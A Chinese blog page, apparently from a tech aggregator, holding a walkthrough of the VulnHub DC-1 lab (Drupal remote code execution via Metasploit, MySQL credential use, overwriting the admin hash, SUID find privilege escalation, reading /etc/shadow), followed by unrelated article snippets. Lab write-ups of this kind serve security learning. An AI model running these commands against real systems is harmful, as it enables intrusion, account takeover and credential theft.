news 2026/10/20 1:40:45

DC-1靶机渗透

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
DC-1靶机渗透

前言:第一次写靶机渗透的文章awa,可能会有瑕疵qwq,欢迎大家指正谢谢!

下面是靶机地址:https://download.vulnhub.com/dc/DC-1.zip

参考文章:DC-1靶场搭建及渗透实战 超详细 过程_dc-1靶场安装及渗透-CSDN博客

目录

一、信息收集

二、漏洞利用

1.选择漏洞模块

2.设置对象并运行

3.提升交互

​4.数据库渗透

5.权限提升


一、信息收集

1.获取网段ip
nmap -sn 192.168.18.0/24



这里方便起见,可以通过mac地址分享对应靶机的ip是 192.168.18.139


2.主机系统信息识别
nmap -sV 192.168.18.139



开放端口22、80、111


3.漏洞搜集扫描
访问80端口



drupal框架,通过msfsole搜索下对应的历史漏洞

msfconsole #启动msf ​​​​​​​search drupal #关键字搜索

发现历史漏洞远程命令执行,优秀尝试一下

二、漏洞利用

1.选择漏洞模块


use 1


2.设置对象并运行


show options #查看选择



set rhosts 192.168.18.139 #设置攻击对象



run #运行测试漏洞



成获取到meterpreter的shell

​​​​​​​
3.提升交互


先提升下交互性
python -c 'import pty; pty.spawn("/bin/bash")'

#(这样舒服多了awa)


ls查看当前目录的文件,发现第一个flag

提示我们查看配置文件,搜索下

配置文件一般在sites/default目录

cd /sites/default



tac settings.php

获取到flag2,以及数据库的配置信息




4.数据库渗透


接下来利用获取的信息尝试登录mysql

mysql -u dbuser -pR0ck3t



查看数据库 的表有哪些

use drupaldb; show tables;



查看表的数据

select * from users;



里面存放着admin的密码的哈希并且加盐,先找到hash的加密函数


退出mysql,在当前目录中的scripts目录中存在文件password-hash.sh用于加密密码

cd scripts; ls;




cat password-hash.sh



使用该脚本解密,注意脚本使用php语言编写,使用下面命令加密密码

cd.. #切换回 www目录 php /var/www/scripts/password-hash.sh 123456 #计算 123456 的hash



hash:$S$DjCa2TbNTexVU4luZoDLyfM1ZwhYwL.ZOkoZsCKJsoUcTkyr2z3Q

再回到mysql修改密码

update users set pass = "$S$DjCa2TbNTexVU4luZoDLyfM1ZwhYwL.ZOkoZsCKJsoUcTkyr2z3Q" where name = "admin"

​​​​​​​修改成功



登录找到flag3





提示我们需要提取获取shadow里的文件


5.权限提升


查看哪些命令具有suid权限
find / -perm -u=s -type f 2>/dev/null
​​​​


找到find 命令,利用find进行提权
find / -name index.php -exec "/bin/sh" \;

提权成功

三、获取最终flag​​​​​​​

cat /etc/shadow

获取到flag4


关键字查找flag
find / -name "*flag*" 2>/dev/null


成功找到最终flag

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/10/20 1:40:02

华为OD机试真题精讲:来自异国的客人(Python/Java/C++多语言实现)

华为OD机试真题精讲:来自异国的客人(Python/Java/C++多语言实现) 一、题目描述(2025B卷高频100分题) 机场接待来自异国的客人,需要根据客人的语言能力和翻译的语种覆盖,计算最少需要安排的翻译人数。规则如下: 输入为: 客人数量n(正整数); 客人语言列表guests,每…

作者头像 李华
网站建设 2026/10/20 1:38:54

国产载波芯片选型实战指南:从物理层鲁棒性到生态适配

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

作者头像 李华
网站建设 2026/10/20 1:37:47

java+vue基于springboot的考公考编面试刷题平台系统的设计与实现_b23o02nq

目录基于SpringBoot的考公考编面试刷题平台系统系统功能模块技术实现细节系统特色部署与优化开发技术源码文档获取/同行可拿货,招校园代理 :文章底部获取博主联系方式!点击我获取源码->获取博主联系方式->进我个人主页-->基于SpringBoot的考公考…

作者头像 李华
网站建设 2026/10/20 1:31:05

TxBENCH硬盘底层稳定性检测:专治Windows查不出的存储亚健康

简介:TxBENCH是一款面向电脑DIY爱好者、硬件评测人员及普通用户的专业级SSD性能检测与安全维护工具,专为解决固态硬盘读写性能评估、大文件传输压力测试、数据安全擦除及驱动健康状态核查等实际需求而设计。资源包共6个文件,含3个RAR格式主程…

作者头像 李华
网站建设 2026/10/20 1:30:02

Citra 3DS模拟器:免费在电脑上跑 3DS 游戏,五步搞定

Citra 3DS模拟器:免费在电脑上跑 3DS 游戏,五步搞定 【免费下载链接】citra A Nintendo 3DS Emulator 项目地址: https://gitcode.com/GitHub_Trending/ci/citra Citra 是一款免费开源的 3DS 模拟器,可以把任天堂 3DS 游戏直接搬进 Wi…

作者头像 李华
网站建设 2026/10/20 1:27:41

STM32寄存器操作实战:从GPIO到串口的底层开发核心逻辑

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

作者头像 李华